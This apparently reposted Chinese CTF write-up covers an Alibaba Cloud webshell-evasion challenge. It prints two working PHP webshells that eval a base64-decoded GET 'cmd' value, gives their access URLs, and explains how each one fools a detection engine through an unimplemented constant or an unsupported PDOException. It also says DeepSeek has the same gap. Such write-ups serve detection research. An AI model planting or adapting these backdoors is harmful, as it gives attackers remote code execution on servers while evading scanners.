阿里云第四届伏魔挑战赛wp

admin 2026-01-04 22:20:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章复盘阿里云第四届伏魔挑战赛两例PHPWebshell绕过技巧:一利用虚拟引擎未定义常量OPENSSL_NO_PADDING默认返回1而真实值为3,使strtr解密失败骗过污点检测;二利用引擎未实现PDOException捕获,PDO连接失败仍返回true,短路逻辑错误赋值$key,实现base64+eval免杀。作者给出对比实验与查杀证明,指出同类引擎包括DeepSeek亦存在此缺陷,为后续样本分析提供检测绕过思路。 综合评分: 86 文章分类: 代码审计,漏洞分析,安全工具,WEB安全,CTF


cover_image

阿里云第四届伏魔挑战赛wp

原创

XG小刚

XG小刚

2025年7月10日 13:32 北京

拍摄于:北京市-国贸

公众号:XG小刚

阿里云第四届伏魔挑战赛wp

不知不觉挑战赛已经结束五个多月了,今年的比赛真是太卷了,10个JSP重复6个,6个php重复4个

本次挑了两个重复但相对有趣的的php样本作为分享

PHP系统常量未定义

先看样本

<?php
if ($_GET['id']==1234) {
&nbsp; &nbsp; class M {
&nbsp; &nbsp; &nbsp; &nbsp; static function demo(){ return OPENSSL_NO_PADDING;}
&nbsp; &nbsp; }
}else{
&nbsp; &nbsp; class M {
&nbsp; &nbsp; &nbsp; &nbsp; static function demo(){ return new M();}
&nbsp; &nbsp; }
}
$obj = M::demo();
$key = (string)$obj;
function exeec($key){
&nbsp; &nbsp; $fileurl = 'QGV2YWwoJF9HRVRbJ2NtZC33KTs=';
&nbsp; &nbsp; $fileurl = strtr($fileurl, $key, 'd');
&nbsp; &nbsp; $code = base64_decode($fileurl);
&nbsp; &nbsp; @eval($code);
}
exeec($key);

利用方式

/shell.php?id=1234&cmd=phpinfo();

样本主要是靠两部分去对抗伏魔引擎的

1、通过外部传参,来控制if分支,从而创建不同的静态函数demo()

当id赋值不正确时,默认返回的是M类,使用(string)$obj时产生类型转换错误,用于对抗动态沙箱检测。

2、通过字符串替换函数strtr(),来获取真实的base64字符串,从而解码后eval执行,当$key的值不对时,自然就没法真正的解码。

这里使用的OPENSSL_NO_PADDING常量来绕过的,测试时发现污点检测引擎其实算是一个虚拟的环境,并没有完全实现真实环境中的一些函数、常量。

引擎对于没有实现的常量默认设置值为1,而真实环境OPENSSL_NO_PADDING的值为3,从而无法解码获取到真实的执行代码。

这里判断时候可能会觉得是污点传递被打断了,OPENSSL_NO_PADDING并没有传递过去

static function demo(){ return '3';}

可以将样本中返回结果直接定义为3,然后就被查杀了,如此可以证明就是OPENSSL_NO_PADDING常量未实现导致的了

最后核心绕过点也很明确

后续再分析样本时,发现deepseek也存在相同的问题

PDOException报错未支持

先看样本

<?php
if ($_GET['id']==1234) {
&nbsp; class M {static function demo(){ return '7';}}
}else{
&nbsp; class M {static function demo(){ return new M();}}
}
$obj = M::demo();
$key = (string)$obj;

function expensiveCheckA() {
&nbsp; try {
&nbsp; &nbsp; $pdo = new PDO('mysql:host=localhost;dbname=nonexistent', 'user', 'password');
&nbsp; &nbsp; return true;
&nbsp; } catch (PDOException $e) {
&nbsp; &nbsp; return false;
&nbsp; }
}

function exeec(){
&nbsp; $key = '7';
&nbsp; if(expensiveCheckA()||$key='3')
&nbsp; &nbsp; $fileurl = 'QGV2YWwoJF9HRVRbJ2NtZC33KTs=';
&nbsp; $fileurl = strtr($fileurl, $key, 'd');
&nbsp; $code = base64_decode($fileurl);
&nbsp; @eval($code);
}
exeec();

利用方式

/shell.php?id=1234&cmd=phpinfo();

该样本对抗沙箱的方式和第一个样本相同,base64解码方法也大致相同,只是$key的赋值方式发生了变化

$key = '7';
if(expensiveCheckA()||$key='3')

按照if条件短路逻辑,如果expensiveCheckA()为true,$key='3'是不会执行的

function expensiveCheckA() {
&nbsp; try {
&nbsp; &nbsp; $pdo = new PDO('mysql:host=localhost;dbname=nonexistent', 'user', 'password');
&nbsp; &nbsp; return true;
&nbsp; } catch (PDOException $e) {
&nbsp; &nbsp; return false;
&nbsp; }
}

然后查看expensiveCheckA()函数,PDO链接是瞎写的,在真实环境中肯定不能执行啊,必然会报错进入catch代码,最后返回false

然而我上面也说了,它总归是个虚拟引擎,测试发现引擎对PDOException报错未支持,正常pdo错误后被PDOException捕获,进入

catch然后return false,而引擎PDOException报错后,继续执行返回的return true ,从而绕过检测

$pdo = new PDO('mysql:host=localhost;dbname=nonexistent', 'user', 'password');
return false;

后面测试修改为false,就会被引擎查杀,证明确实没进入catch

最后核心绕过点也很明确

小结

最终排名还是第7,再接再厉吧


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:XG小刚 XG小刚《阿里云第四届伏魔挑战赛wp》

阿里云AI安全全球挑战赛 网络安全文章

阿里云AI安全全球挑战赛

文章总结: 作者分享了首次参加阿里云AI安全全球挑战赛的经历,在赛道一未进复赛但在赛道三获得第四名。文中重点提及了对提示词注入和越狱技术的体验,认为其具有趣味性
评论:0   参与:  0